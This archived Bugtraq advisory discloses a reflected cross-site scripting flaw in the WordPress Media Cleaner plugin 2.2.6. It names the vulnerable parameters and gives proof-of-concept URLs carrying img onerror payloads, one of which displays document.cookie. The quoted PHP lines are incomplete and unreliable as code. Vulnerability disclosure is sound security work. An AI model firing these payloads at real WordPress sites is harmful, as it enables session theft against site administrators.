[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: Wordpress Media Cleaner Plugin - XSS Vulnerability
From: iletisim () ismailsaygili ! com ! tr
Date: 2015-02-27 7:04:37
Message-ID: 201502270704.t1R74bH9006929 () sf01web3 ! securityfocus ! com
[Download RAW message or body]
# Exploit Title: Wordpress Media Cleaner - XSS
# Author: İsmail SAYGILI
# Web Site: www.ismailsaygili.com.tr
# E-Mail: iletisim@ismailsaygili.com.tr
# Date: 2015-02-26
# Plugin Download: https://downloads.wordpress.org/plugin/wp-media-cleaner.2.2.6.zip
# Version: 2.2.6
# Vulnerable File(s):
[+] wp-media-cleaner.php
# Vulnerable Code(s):
[+] 647. Line
$view = $_GET['view'] : "issues";
[+] 648. Line
$paged = $_GET['paged'] : 1;
[+] 653. Line
$s = isset ( $_GET[ 's' ] ) ? $_GET[ 's' ] : null;
# Request Method(s):
[+] GET
# Vulnerable Parameter(s):
[+] view, paged, s
# Proof of Concept
--> http://target.com/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view={XSS}&paged={XSS}&s={XSS}
--> http://localhost/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view="><img \
src=i onerror=prompt(/xss/)>&paged="><img src=i \
onerror=prompt(document.cookie)>&s="><img src=i onerror=prompt(/XSS/)>
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic